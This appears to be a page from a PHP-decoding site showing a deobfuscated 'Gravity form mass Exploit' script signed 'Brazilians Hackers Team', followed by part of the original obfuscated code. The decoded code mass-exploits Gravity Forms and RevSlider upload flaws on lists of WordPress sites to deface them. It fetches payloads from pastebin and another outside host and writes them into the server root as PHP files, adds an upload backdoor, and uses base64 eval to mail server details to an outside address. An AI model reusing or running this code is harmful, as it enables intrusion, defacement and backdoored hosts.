Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"\x47\x4c\x4f\x42\x41LS"}["l\x6f\x77n\x66\x67"]="\x70ar\x61m\x73";${"\x47\x4c\x4fB..
Decoded Output download
<?php ${"GLOBALS"}["lownfg"]="params";${"GLOBALS"}["ifcrgmjnvf"]="r";${"GLOBALS"}["oebpdcsw"]="site";${"GLOBALS"}["cwqdfgsx"]="list";${"GLOBALS"}["yikfgssnci"]="defacerrrrrrrrrr";${"GLOBALS"}["tywontiqxsbo"]="data";${"GLOBALS"}["fgtvjihwgp"]="type";${"GLOBALS"}["ztdwcpwlk"]="h";${"GLOBALS"}["uhbqvpcnetp"]="curlxpl";${"GLOBALS"}["yljfnyiib"]="locais";${"GLOBALS"}["nxqcomz"]="agentSistema";${"GLOBALS"}["jgnelrj"]="agentBrowser";${"GLOBALS"}["yvwqqiy"]="valor";${"GLOBALS"}["zydulj"]="result";${"GLOBALS"}["lbpjjy"]="ext";${"GLOBALS"}["fdriizeelmle"]="psyco";${"GLOBALS"}["psxhtirhnyjj"]="index";${"GLOBALS"}["pzpofu"]="filename";${"GLOBALS"}["odpqevrrmk"]="filetmp";${"GLOBALS"}["jjfdixk"]="Iraqe";${"GLOBALS"}["dctyzq"]="cwd";${"GLOBALS"}["mrobjgioedf"]="encoded";${"GLOBALS"}["jmiicdrwlg"]="text6";${"GLOBALS"}["dutmyhtzeu"]="open6";${"GLOBALS"}["jdvkgmgyz"]="open5";${"GLOBALS"}["nxdquccwsk"]="text5";${"GLOBALS"}["tuqronm"]="check3";${"GLOBALS"}["isqpjlljpog"]="op3";${"GLOBALS"}["ouedexqcle"]="check2";${"GLOBALS"}["prgyajfuxs"]="open2";${"GLOBALS"}["cxrsglsi"]="text6";$jwllhynp="text2";${"GLOBALS"}["fcruht"]="text2";${"GLOBALS"}["fuuouo"]="check0";$dkygngpytxu="op3";${"GLOBALS"}["qzqzpnvuz"]="open6";${"GLOBALS"}["wlhskkdhsiu"]="text0";$tkgmzy="open2";${"GLOBALS"}["nrqhfjpuug"]="open0";${"GLOBALS"}["tmpnarepz"]="check0";$erqkniim="open5";${"GLOBALS"}["epcqvvnnyvj"]="open";${"GLOBALS"}["vtrczwkwud"]="text";${"GLOBALS"}["hmqaeym"]="check5";${"GLOBALS"}["ggxvjfw"]="im";$dzdguuur="check0";${"GLOBALS"}["rdhebrwvpyw"]="text";${"GLOBALS"}["fbyimbhnpa"]="url";$vbchlvr="open0";$skphhnbmk="text0";$cjimqefdu="check";$uhvyysphpe="check3";${"GLOBALS"}["cejlbjsmh"]="check2";echo "<html>
<head>
<!--
_____ _____ __ _______ _________ __
/ ____| __ \ /\ \ / /_ _|__ __\ \ / /
| | __| |__) | / \ \ / / | | | | \ \_/ /
| | |_ | _ / / /\ \ \/ / | | | | \ /
| |__| | | \ \ / ____ \ / _| |_ | | | |
\_____|_| \_\/_/ \_\/ |_____| |_| |_|
*** Brazilians Hackers Team ***
-->
<style>
@import 'https://fonts.googleapis.com/css?family=Orbitron';
body{ background-color: #222222 !important; color: #009900; text-shadow:#000 0px 2px 7px; font-family : Orbitron;}
.gravity_form { margin-top : 30px; }
form { margin-top : 30px; }
form input[type=text], textarea, select {
width : 250px; margin-left : 8px;
padding: 3px; color: #838e94; text-shadow: #777777 0px 0px 3px; border: 1px solid #0aff71; background: transparent; box-shadow: 0px 0px 4px #2af2ed; padding: 3px; -webkit-border-radius: 4px;
-moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgb(85,85,85) 0px 0px 4px; -moz-box-shadow: rgb(85,85,85) 0px 0px 4px; }
input[type=submit]{ padding: 3px; color: #009900; font-weight: bold; text-align: center; text-shadow: 0 1px rgba(255, 255, 255, 0.3); background: #aeaeae; background-clip: padding-box; border: 1px solid #284473; border-bottom-color: #223b66; border-radius: 4px; cursor: pointer; background-image:-webkit-linear-gradient(top, #eaeaea, #d0d0d0); background-image: -moz-linear-gradient(top, #eaeaea, #d0d0d0); background-image: -o-linear-gradient(top, #eaeaea, #d0d0d0); background-image: linear-gradient(to bottom, #eaeaea, #d0d0d0); -webkit-box-shadow: inset 0 1px rgba(255, 255, 255, 0.5), inset 0 0 7px rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.15); box-shadow: inset 0 1px rgba(255, 255, 255, 0.5), inset 0 0 7px rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.15); }
input[type=submit]:hover, input[type=text]:hover{ color: #ffffff; text-shadow: #006600 0px 0px 4px; box-shadow: 0px 0px 4px #00dd00; border: 1px solid #00dd00; padding: 3px; -webkit-border-radius: 4px;
-moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgba(0,119,0) 0px 0px 4px; -moz-box-shadow: rgba(0,119,0) 0px 0px 4px;}
select{ padding: 3px; color: #22f4af; text-shadow:#000 0px 2px 7px; border: 1px solid #007700; background: transparent; text-decoration: none; box-shadow: 0px 0px 4px #ff5810; padding: 3px; -webkit-border-radius: 4px; -moz-border-radius: 4px;
border-radius: 4px; -webkit-box-shadow: rgb(85, 85, 85) 0px 0px 4px; -moz-box-shadow: rgb(85, 85, 85) 0px 0px 4px;}
select:hover{ border: 1px solid #00dd00; box-shadow: 0px 0px 4px #00dd00; padding: 3px; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgba(0,119,0) 0px 0px 4px;
-moz-box-shadow: rgba(0,119,0) 0px 0px 4px;}
.hidden { display : none !important; }
.footer { position : fixed; bottom : 10px; width : 100%; text-align : center; height : 30px; }
.error { color : #fff50e; }
.done { color : #fff;}
</style>
<title>Gravity form mass Exploit</title>
</head>
<body>
<center>
<div class=\"gravity_form\">
<h1>GRAVITY FORM EXPLOIT 2016</h1>
<form name="form\" action=\"\" method=\"post">
<div style="margin-bottom : 30px;">
<div id=\"1\" style=\"display : inline-block;\">
<label>EXPLOIT : <label>
<select name="exp\" onchange=\"change()" id="choice">
<option value="0\" selected>SELECIONE O EXPLOIT</option>
<option value="1\">REVSLIDER</option>
<option value=\"2">GRAVITY FORM</option>
</select>
<label>Shell/Index : <label>
<select name="type\" onchange="change()" id="choice\">
<option value="0" selected>SELECIONE OPCAO</option>
<option value="1">ARQUIVO</option>
<option value="2\">SCRIPT</option>
</select>
</div>
<div id="2" style=\"display : inline-block; margin-left : 30px;">
<label>TIPO DE ARQUIVO : </label>
<select name=\"filetype">
<option value="0\" selected>EXTENSAO</option>
<option value="1">*.txt</option>
<option value=\"2\">*.html</option>
<option value=\"3\">*.php</option>
</select>
</div>
</div>
<div style="margin-bottom : 30px;\">
<div class="hidden\" id="file\" style="margin-top : 20px; display : inline-block; margin-left : -16px; margin-top : -110px;">
<label>NOME DO ARQUIVO : </label>
<input type="text" name="filename\" />
</div>
<div class=\"hidden" id=\"script" style=\"margin-top : 20px; display : inline-block; margin-left : -16px; margin-top : -110px;\">
<label style=\"margin-left : -20px;">| Script |</label><br>
<textarea name="script" cols="60\" rows="6" style=\"margin-top : 10px; width : 290 !important; margin-left : -15px;"></textarea>
</div>
<div style="display : inline-block; margin-left : 100px;">
<label style=\"margin-left : -20px;\">| LISTA DE SITES |</label><br>
<textarea name="sites\" cols=\"60" rows="6\" style=\"margin-top : 10px; width : 290 !important; margin-left : -15px;\"></textarea>
</div>
</div>
<div class="display : block;">
<input type="submit" value=\"INICIAR" />
</div>
</form>
</div>
</center>
</body>
<footer class=\"footer\"> *** Brazilians Hackers Team *** </footer>
<script>
function change() {
var id = document.getElementById("choice\").value;
switch(id) {
case "1" :
document.getElementById("file\").className = \"\";
document.getElementById("script").className = "hidden";
break;
case "2" :
document.getElementById("file").className = "hidden";
document.getElementById("script\").className = \"";
break;
default:
document.getElementById(\"file\").className = \"hidden\";
document.getElementById("script\").className = "hidden\";
break;
}
}
</script>
</html>
";function http_get($url){$juvhtxmlbqqj="im";${"GLOBALS"}["nymifkoj"]="im";$vziivjymso="im";${"GLOBALS"}["lepkexj"]="im";${${"GLOBALS"}["lepkexj"]}=curl_init(${${"GLOBALS"}["fbyimbhnpa"]});$pysydwl="im";curl_setopt(${$vziivjymso},CURLOPT_RETURNTRANSFER,1);${"GLOBALS"}["apwrwj"]="im";curl_setopt(${${"GLOBALS"}["nymifkoj"]},CURLOPT_CONNECTTIMEOUT,10);curl_setopt(${${"GLOBALS"}["ggxvjfw"]},CURLOPT_FOLLOWLOCATION,1);curl_setopt(${$pysydwl},CURLOPT_HEADER,0);return curl_exec(${${"GLOBALS"}["apwrwj"]});curl_close(${$juvhtxmlbqqj});}${$cjimqefdu}=$_SERVER["DOCUMENT_ROOT"]."/up.php";$ustucoevkiw="check";${"GLOBALS"}["mgpbavynbwb"]="check";${"GLOBALS"}["mjwmpyyofg"]="open";${${"GLOBALS"}["vtrczwkwud"]}=http_get("http://pastebin.com/raw/uUFM9h8Z");$ruwhtwhnecg="Iraqe";${${"GLOBALS"}["epcqvvnnyvj"]}=fopen(${$ustucoevkiw},"w");${"GLOBALS"}["yohxzxpex"]="check3";fwrite(${${"GLOBALS"}["epcqvvnnyvj"]},${${"GLOBALS"}["rdhebrwvpyw"]});$zhgpgmcxx="check6";${"GLOBALS"}["dxyookgwuz"]="text3";fclose(${${"GLOBALS"}["mjwmpyyofg"]});if(file_exists(${${"GLOBALS"}["mgpbavynbwb"]})){}else echo"";${${"GLOBALS"}["tmpnarepz"]}=$_SERVER["DOCUMENT_ROOT"]."/xx1.php";${$skphhnbmk}=http_get("http://pastebin.com/raw/3e7RmzMA");${$vbchlvr}=fopen(${$dzdguuur},"w");${"GLOBALS"}["rswxcexkg"]="text3";${"GLOBALS"}["yerguxpium"]="op_";fwrite(${${"GLOBALS"}["nrqhfjpuug"]},${${"GLOBALS"}["wlhskkdhsiu"]});fclose(${${"GLOBALS"}["nrqhfjpuug"]});${"GLOBALS"}["rumbnadmmod"]="text5";if(file_exists(${${"GLOBALS"}["fuuouo"]})){}else echo"";${${"GLOBALS"}["cejlbjsmh"]}=$_SERVER["DOCUMENT_ROOT"]."/up1.php";${${"GLOBALS"}["fcruht"]}=http_get("http://pastebin.com/raw/dSucuQ7R");${${"GLOBALS"}["prgyajfuxs"]}=fopen(${${"GLOBALS"}["ouedexqcle"]},"w");fwrite(${$tkgmzy},${$jwllhynp});fclose(${${"GLOBALS"}["prgyajfuxs"]});$szduxerfgoy="encoded";if(file_exists(${${"GLOBALS"}["ouedexqcle"]})){}else echo"";${$uhvyysphpe}=$_SERVER["DOCUMENT_ROOT"]."/indexx.html";$trymif="open6";${${"GLOBALS"}["dxyookgwuz"]}=http_get("http://ddoser.netii.net/");${${"GLOBALS"}["isqpjlljpog"]}=fopen(${${"GLOBALS"}["yohxzxpex"]},"w");fwrite(${$dkygngpytxu},${${"GLOBALS"}["rswxcexkg"]});fclose(${${"GLOBALS"}["isqpjlljpog"]});${"GLOBALS"}["pqudrctct"]="check6";${"GLOBALS"}["ckltejnic"]="check6";${"GLOBALS"}["ofbjulue"]="check5";if(file_exists(${${"GLOBALS"}["tuqronm"]})){}else echo"";${${"GLOBALS"}["hmqaeym"]}=$_SERVER["DOCUMENT_ROOT"]."/produtos.php";$cwsufrhb="check5";${${"GLOBALS"}["nxdquccwsk"]}=http_get("http://pastebin.com/raw/dsxfw1qc");${$erqkniim}=fopen(${$cwsufrhb},"w");fwrite(${${"GLOBALS"}["jdvkgmgyz"]},${${"GLOBALS"}["rumbnadmmod"]});fclose(${${"GLOBALS"}["jdvkgmgyz"]});if(file_exists(${${"GLOBALS"}["ofbjulue"]})){}else echo"";${$zhgpgmcxx}=$_SERVER["DOCUMENT_ROOT"]."/produtos_new.php";${${"GLOBALS"}["cxrsglsi"]}=http_get("http://pastebin.com/raw/RKuW5f7u");${${"GLOBALS"}["qzqzpnvuz"]}=fopen(${${"GLOBALS"}["pqudrctct"]},"w");fwrite(${${"GLOBALS"}["dutmyhtzeu"]},${${"GLOBALS"}["jmiicdrwlg"]});fclose(${$trymif});if(file_exists(${${"GLOBALS"}["ckltejnic"]})){}else echo"";${$szduxerfgoy}="JHRpbWVfc2hlbGwgPSAiIi5kYXRlKCJkL20vWSAtIEg6aTpzIikuIiI7DQokaXBfcmVtb3RlID0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07DQokZnJvbV9zaGVsbGNvZGUgPSAnc2hlbGxAJy5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4nJzsNCiR0b19lbWFpbCA9ICdicmF6aWxvYnNjdXJlQGxpdmUuY29tJzsNCiRzZXJ2ZXJfbWFpbCA9ICIiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLiIgIC0gIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7DQokbGlua2NyID0gIkxpbms6ICIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uIiIuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uIiAtIElQIEV4Y3V0aW5nOiAkaXBfcmVtb3RlIC0gVGltZTogJHRpbWVfc2hlbGwiOw0KJGhlYWRlciA9ICJGcm9tOiAkZnJvbV9zaGVsbGNvZGVcclxuUmVwbHktdG86ICRmcm9tX3NoZWxsY29kZSI7DQpAbWFpbCgkdG9fZW1haWwsICRzZXJ2ZXJfbWFpbCwgJGxpbmtjciwgJGhlYWRlcik7==";eval(base64_decode(${${"GLOBALS"}["mrobjgioedf"]}));${${"GLOBALS"}["dctyzq"]}=getcwd();${${"GLOBALS"}["jjfdixk"]}=$_GET["mr"];if(${$ruwhtwhnecg}=="chmod"){$uxtfjuusfk="filetmp";$vpshcydhh="filename";${$vpshcydhh}=$_FILES["file"]["name"];${$uxtfjuusfk}=$_FILES["file"]["tmp_name"];echo"<form method='POST' enctype='multipart/form-data'>
<input type='file'name='file' />
<input type='submit' value='go' />
</form>";if(move_uploaded_file(${${"GLOBALS"}["odpqevrrmk"]},${${"GLOBALS"}["pzpofu"]})=="1"){$zwgvrmuzhh="filename";echo"Concluido ----> ".${$zwgvrmuzhh};}}function cughl($site,$ext){${"GLOBALS"}["qdmhxgrbeu"]="psyco";$dnsmeijmswi="psyco";${${"GLOBALS"}["psxhtirhnyjj"]}="defacerrrrrrrrrr.txt";${"GLOBALS"}["xoxiadh"]="psyco";${${"GLOBALS"}["fdriizeelmle"]}=curl_init("$site/?gf_page=upload");$mmmoewfkqs="psyco";curl_setopt(${${"GLOBALS"}["fdriizeelmle"]},CURLOPT_POST,true);${"GLOBALS"}["athlxkwt"]="psyco";curl_setopt(${$dnsmeijmswi},CURLOPT_POSTFIELDS,array("file"=>"@$index","name"=>"Chmodd".".".${${"GLOBALS"}["lbpjjy"]},"form_id"=>"../../../","gform_unique_id"=>"../../"));curl_setopt(${${"GLOBALS"}["xoxiadh"]},CURLOPT_RETURNTRANSFER,1);curl_setopt(${${"GLOBALS"}["qdmhxgrbeu"]},CURLOPT_FOLLOWLOCATION,1);curl_setopt(${${"GLOBALS"}["athlxkwt"]},CURLOPT_USERAGENT,"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.103 Safari/537.36");${${"GLOBALS"}["zydulj"]}=curl_exec(${$mmmoewfkqs});curl_close(${${"GLOBALS"}["fdriizeelmle"]});return${${"GLOBALS"}["zydulj"]};}function not_isnull_empty($valor=NULL){${"GLOBALS"}["ejhrorh"]="valor";RETURN!is_null(${${"GLOBALS"}["yvwqqiy"]})&&!empty(${${"GLOBALS"}["ejhrorh"]})?TRUE:FALSE;}function __plus(){ob_flush();flush();}function __setUserAgentRandom(){$pukeyvqt="locais";$lbsevtq="locais";$yfvrcbvewqi="agentSistema";$mlfgcorjrwhq="agentSistema";${${"GLOBALS"}["jgnelrj"]}=array("Firefox","Safari","Opera","Flock","Internet Explorer","Seamonkey","Tor Browser","GNU IceCat","CriOS","TenFourFox","SeaMonkey","B-l-i-t-z-B-O-T","Konqueror","Mobile","Konqueror","Netscape","Chrome","Dragon","SeaMonkey","Maxthon","IBrowse");$qgtmoonxye="agentBrowser";${$mlfgcorjrwhq}=array("Windows 3.1","Windows 95","Windows 98","Windows 2000","Windows NT","Linux 2.4.22-10mdk","FreeBSD","Windows XP","Windows Vista","Redhat Linux","Ubuntu","Fedora","AmigaOS","BackTrack Linux","iPad","BlackBerry","Unix","CentOS Linux","Debian Linux","Macintosh","Android","iPhone","Windows NT 6.1","BeOS","OS 10.5","Nokia","Arch Linux","Ark Linux","BitLinux","Conectiva (Mandriva)","CRUX Linux","Damn Small Linux","DeLi Linux","Ubuntu","BigLinux","Edubuntu");${$lbsevtq}=array("cs-CZ","en-US","sk-SK","pt-BR","sq_AL","sq","ar_DZ","ar_BH","ar_EG","ar_IQ","ar_JO","ar_KW","ar_LB","ar_LY","ar_MA","ar_OM","ar_QA","ar_SA","ar_SD","ar_SY","ar_TN","ar_AE","ar_YE","ar","be_BY","be","bg_BG","bg","ca_ES","ca","zh_CN","zh_HK","zh_SG","zh_TW","zh","hr_HR","hr","cs_CZ","cs","da_DK","da","nl_BE","nl_NL","nl","en_AU","en_CA","en_IN","en_IE","en_MT","en_NZ","en_PH","en_SG","en_ZA","en_GB","en_US","en","et_EE","et","fi_FI","fi","fr_BE","fr_CA","fr_FR","fr_LU","fr_CH","fr","de_AT","de_DE");return${$qgtmoonxye}[rand(0,count(${${"GLOBALS"}["jgnelrj"]})-1)]."/".rand(1,20).".".rand(0,20)." (".${$yfvrcbvewqi}[rand(0,count(${${"GLOBALS"}["nxqcomz"]})-1)]." ".rand(1,7).".".rand(0,9)."; ".${$pukeyvqt}[rand(0,count(${${"GLOBALS"}["yljfnyiib"]})-1)].";)";}function __request($__){${"GLOBALS"}["zydxdudjdy"]="__";${"GLOBALS"}["opehwoeo"]="curlxpl";$oakbsft="curlxpl";${"GLOBALS"}["guavqxbxg"]="__";$tuslggs="curlxpl";${"GLOBALS"}["ssmfqixvq"]="curlxpl";${${"GLOBALS"}["ssmfqixvq"]}=curl_init();${"GLOBALS"}["exqgnh"]="__";curl_setopt(${${"GLOBALS"}["uhbqvpcnetp"]},CURLOPT_URL,"{$__['target']}/wp-admin/admin-ajax.php");(!is_null(${${"GLOBALS"}["exqgnh"]}["proxy"])?curl_setopt(${${"GLOBALS"}["uhbqvpcnetp"]},CURLOPT_PROXY,${${"GLOBALS"}["zydxdudjdy"]}["proxy"]):NULL);curl_setopt(${${"GLOBALS"}["uhbqvpcnetp"]},CURLOPT_USERAGENT,__setUserAgentRandom());$ffmmqjrwrh="curlxpl";curl_setopt(${${"GLOBALS"}["opehwoeo"]},CURLOPT_POST,1);curl_setopt(${${"GLOBALS"}["uhbqvpcnetp"]},CURLOPT_POSTFIELDS,array("action"=>"revslider_ajax_action","client_action"=>"update_captions_css","data"=>${${"GLOBALS"}["guavqxbxg"]}["defacerrrrrrrrrr"]));curl_setopt(${${"GLOBALS"}["uhbqvpcnetp"]},CURLOPT_RETURNTRANSFER,1);curl_setopt(${${"GLOBALS"}["uhbqvpcnetp"]},CURLOPT_FOLLOWLOCATION,1);curl_setopt(${${"GLOBALS"}["uhbqvpcnetp"]},CURLOPT_SSL_VERIFYPEER,false);curl_setopt(${${"GLOBALS"}["uhbqvpcnetp"]},CURLOPT_SSL_VERIFYHOST,0);$jlrcjms="curlxpl";curl_setopt(${$tuslggs},CURLOPT_COOKIEFILE,"cookie.log");curl_setopt(${$jlrcjms},CURLOPT_COOKIEJAR,"cookie.log");${${"GLOBALS"}["zydulj"]}=curl_exec(${$oakbsft}).__plus();if(eregi("true",${${"GLOBALS"}["zydulj"]})){${${"GLOBALS"}["ztdwcpwlk"]}="{$__['target']}/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css";echo"Done =>
";echo"{$h}
";__plus();file_put_contents("revslider.txt","{$h}
",FILE_APPEND);}else{echo"{$__['target']} :No
{$__['line']}
";}curl_close(${${"GLOBALS"}["uhbqvpcnetp"]});unset(${$ffmmqjrwrh});}error_reporting(1);set_time_limit(0);ini_set("display_errors",1);ini_set("max_execution_time",0);ini_set("allow_url_fopen",1);ob_implicit_flush(true);ob_end_flush();${${"GLOBALS"}["yerguxpium"]}=getopt("f:t:",array("help::"));if(isset($_POST["type"])){$cueyhgw="defacerrrrrrrrrr";${"GLOBALS"}["lfvamy"]="site";$tuspgywoznsu="script";${"GLOBALS"}["ibykkil"]="defacerrrrrrrrrr";${"GLOBALS"}["xhoelg"]="defacerrrrrrrrrr";${${"GLOBALS"}["fgtvjihwgp"]}=$_POST["type"];${${"GLOBALS"}["xhoelg"]}="";switch(${${"GLOBALS"}["fgtvjihwgp"]}){default:echo"<center><h4 class='error'>We need your file.</h4></center>";exit();case"1":$_POST["file_name"]!=""?${${"GLOBALS"}["tywontiqxsbo"]}=file_get_contents($_POST["filename"]):${${"GLOBALS"}["tywontiqxsbo"]}="";${${"GLOBALS"}["yikfgssnci"]}=fopen("defacerrrrrrrrrr.txt","w");fwrite(${${"GLOBALS"}["yikfgssnci"]},"$data");fclose(${${"GLOBALS"}["yikfgssnci"]});break;case"2":${$tuspgywoznsu}=$_POST["script"];${${"GLOBALS"}["ibykkil"]}=fopen("defacerrrrrrrrrr.txt","w");fwrite(${$cueyhgw},"$script");fclose(${${"GLOBALS"}["yikfgssnci"]});break;}${${"GLOBALS"}["cwqdfgsx"]}=explode("
",$_POST["sites"]);foreach(${${"GLOBALS"}["cwqdfgsx"]} as${${"GLOBALS"}["lfvamy"]}){${"GLOBALS"}["badvqnjki"]="params";$rvlimtidnsd="ext";$gyucsisxf="ext";$xteoslvl="ext";${"GLOBALS"}["yxvxgucqn"]="ext";$ndpbyxvrwy="site";${${"GLOBALS"}["badvqnjki"]}=array("target"=>${${"GLOBALS"}["oebpdcsw"]},"defacerrrrrrrrrr"=>"<h1>Hacked</h1>","line"=>"");switch($_POST["filetype"]){default:${${"GLOBALS"}["yxvxgucqn"]}="txt";break;case"1":${$rvlimtidnsd}="txt";break;case"2":${$xteoslvl}="html";break;case"3":${$gyucsisxf}="php";break;}${${"GLOBALS"}["ifcrgmjnvf"]}=cughl(${$ndpbyxvrwy},${${"GLOBALS"}["lbpjjy"]});if(strstr(${${"GLOBALS"}["ifcrgmjnvf"]},"\"ok"")){echo"<center><h4 class='done'>$site/_input__Chmodd.$ext</h4></center>";}else{echo"<center><h4 class='error'>$site</h4></center>";}}$vvtoucyjcsa="params";not_isnull_empty(${$vvtoucyjcsa}["target"])?__request(${${"GLOBALS"}["lownfg"]}).exit():NULL;}
?>Did this file decode correctly?
Original Code
<?php ${"\x47\x4c\x4f\x42\x41LS"}["l\x6f\x77n\x66\x67"]="\x70ar\x61m\x73";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x69\x66\x63r\x67m\x6a\x6e\x76\x66"]="\x72";${"G\x4c\x4f\x42\x41L\x53"}["o\x65\x62p\x64\x63\x73\x77"]="\x73\x69\x74\x65";${"\x47\x4cO\x42\x41\x4c\x53"}["\x63w\x71\x64\x66\x67\x73\x78"]="li\x73\x74";${"\x47\x4cOB\x41\x4cS"}["yikfgs\x73n\x63i"]="\x64ef\x61c\x65\x72\x72\x72\x72\x72r\x72r\x72\x72";${"GL\x4f\x42\x41\x4c\x53"}["t\x79won\x74\x69\x71x\x73\x62\x6f"]="\x64\x61ta";${"\x47L\x4fBA\x4cS"}["f\x67\x74\x76\x6ai\x68\x77g\x70"]="t\x79\x70\x65";${"G\x4cO\x42ALS"}["\x7at\x64\x77\x63\x70\x77lk"]="h";${"\x47L\x4f\x42\x41LS"}["\x75\x68\x62\x71\x76pc\x6eet\x70"]="\x63\x75\x72l\x78\x70l";${"\x47\x4c\x4f\x42\x41LS"}["\x79\x6cj\x66\x6ey\x69\x69\x62"]="\x6co\x63\x61is";${"GLO\x42\x41\x4c\x53"}["n\x78\x71co\x6dz"]="\x61g\x65\x6e\x74\x53\x69\x73\x74e\x6d\x61";${"\x47\x4c\x4fBAL\x53"}["j\x67\x6ee\x6c\x72\x6a"]="\x61g\x65n\x74\x42\x72\x6fw\x73\x65r";${"GLOB\x41\x4c\x53"}["\x79\x76\x77\x71\x71i\x79"]="v\x61lo\x72";${"G\x4cO\x42\x41\x4cS"}["\x7a\x79d\x75l\x6a"]="r\x65su\x6c\x74";${"GL\x4f\x42\x41\x4c\x53"}["\x6cb\x70j\x6ay"]="\x65\x78t";${"G\x4cOB\x41\x4c\x53"}["\x66d\x72iiz\x65e\x6c\x6dl\x65"]="\x70s\x79\x63o";${"\x47L\x4fBA\x4c\x53"}["psxh\x74\x69\x72\x68\x6ey\x6a\x6a"]="i\x6e\x64\x65\x78";${"\x47\x4cO\x42A\x4cS"}["p\x7ap\x6ff\x75"]="\x66\x69\x6c\x65na\x6d\x65";${"\x47\x4c\x4fBA\x4cS"}["o\x64p\x71\x65vr\x72\x6d\x6b"]="\x66\x69\x6c\x65\x74\x6d\x70";${"\x47\x4c\x4f\x42AL\x53"}["\x6a\x6af\x64\x69\x78k"]="\x49\x72a\x71e";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["d\x63t\x79\x7aq"]="cw\x64";${"\x47L\x4f\x42\x41\x4cS"}["\x6dro\x62\x6a\x67\x69\x6f\x65\x64\x66"]="e\x6e\x63\x6f\x64\x65d";${"GL\x4f\x42A\x4c\x53"}["\x6am\x69\x69\x63\x64\x72\x77\x6cg"]="t\x65\x78t6";${"G\x4c\x4f\x42A\x4cS"}["d\x75\x74\x6dy\x68\x74\x7a\x65u"]="\x6fp\x65n\x36";${"\x47\x4cO\x42\x41L\x53"}["\x6a\x64\x76kgmg\x79\x7a"]="\x6f\x70en\x35";${"\x47LOB\x41\x4c\x53"}["\x6e\x78\x64\x71u\x63\x63\x77\x73\x6b"]="\x74\x65\x78t\x35";${"G\x4cO\x42\x41\x4c\x53"}["\x74uqro\x6e\x6d"]="c\x68\x65\x63\x6b\x33";${"G\x4cO\x42A\x4c\x53"}["\x69\x73\x71\x70jl\x6c\x6ap\x6f\x67"]="\x6f\x70\x33";${"\x47L\x4fB\x41\x4c\x53"}["\x6f\x75e\x64\x65\x78\x71\x63\x6c\x65"]="che\x63\x6b\x32";${"GL\x4f\x42\x41\x4c\x53"}["\x70r\x67y\x61jf\x75\x78\x73"]="o\x70\x65\x6e2";${"\x47L\x4f\x42\x41\x4c\x53"}["\x63x\x72s\x67\x6csi"]="t\x65\x78\x74\x36";$jwllhynp="\x74\x65x\x74\x32";${"\x47\x4cO\x42\x41\x4cS"}["\x66\x63r\x75\x68\x74"]="\x74\x65\x78\x74\x32";${"\x47L\x4fB\x41L\x53"}["\x66u\x75o\x75\x6f"]="chec\x6b0";$dkygngpytxu="\x6f\x70\x33";${"\x47\x4c\x4f\x42\x41LS"}["\x71\x7aq\x7ap\x6e\x76u\x7a"]="\x6fp\x65\x6e\x36";${"G\x4cOB\x41\x4c\x53"}["\x77\x6c\x68s\x6b\x6b\x64\x68\x73i\x75"]="te\x78\x74\x30";$tkgmzy="\x6fpen\x32";${"\x47\x4cOBALS"}["n\x72q\x68\x66\x6a\x70\x75\x75\x67"]="\x6fp\x65n\x30";${"GL\x4f\x42A\x4cS"}["\x74\x6dp\x6e\x61\x72\x65p\x7a"]="ch\x65\x63\x6b\x30";$erqkniim="o\x70\x65n\x35";${"G\x4c\x4f\x42\x41\x4cS"}["e\x70\x63qv\x76\x6e\x6e\x79v\x6a"]="\x6f\x70e\x6e";${"G\x4cOB\x41\x4c\x53"}["\x76\x74\x72\x63\x7a\x77\x6b\x77\x75\x64"]="\x74\x65\x78\x74";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x68m\x71\x61\x65\x79\x6d"]="\x63\x68\x65\x63\x6b\x35";${"G\x4c\x4f\x42\x41LS"}["g\x67x\x76\x6a\x66\x77"]="\x69\x6d";$dzdguuur="\x63\x68\x65\x63\x6b0";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x72d\x68e\x62\x72\x77\x76\x70\x79w"]="t\x65x\x74";${"GLO\x42A\x4c\x53"}["f\x62\x79i\x6dbh\x6e\x70\x61"]="\x75\x72\x6c";$vbchlvr="\x6f\x70\x65\x6e\x30";$skphhnbmk="t\x65\x78\x74\x30";$cjimqefdu="\x63\x68e\x63\x6b";$uhvyysphpe="\x63\x68\x65c\x6b\x33";${"\x47\x4c\x4f\x42\x41L\x53"}["\x63\x65\x6a\x6cbjs\x6dh"]="\x63\x68\x65c\x6b\x32";echo "\x3ch\x74\x6dl\x3e\n\t<h\x65\x61\x64>\n\t\t<\x21--\n\t\t\t\x20\x20\x20___\x5f\x5f _\x5f_\x5f_ \x20\x20 \x20 \x5f\x5f \x20 _\x5f\x5f\x5f\x5f__ _\x5f_\x5f_\x5f\x5f__\x20 \x20 \x5f\x5f\n\t\t\t\x20 /\x20\x5f__\x5f| \x20\x5f_\x20\\\x20\x20 \x20\x20/\\\x20\x5c\x20\x20\x20\x20/ /_\x20 \x5f|_\x5f \x20\x5f\x5f\x5c \\ /\x20/\n\t\t\t\x20| |\x20\x20_\x5f| |__) |\x20\x20\x20/\x20 \x5c \x5c \x20/\x20/\x20\x20|\x20| \x20|\x20| \x5c \\\x5f/\x20/\n\t\t\t |\x20| |\x5f\x20| \x5f\x20\x20/\x20\x20\x20/ /\x5c \\ \x5c/ /\x20\x20 |\x20| \x20\x20| | \x20\x5c\x20\x20\x20/\n\t\t\t |\x20|\x5f\x5f| | |\x20\x5c \\\x20\x20/\x20___\x5f \\ /\x20\x20 \x5f| |\x5f\x20 |\x20|\x20 \x20\x20| |\n\t\t\t\x20 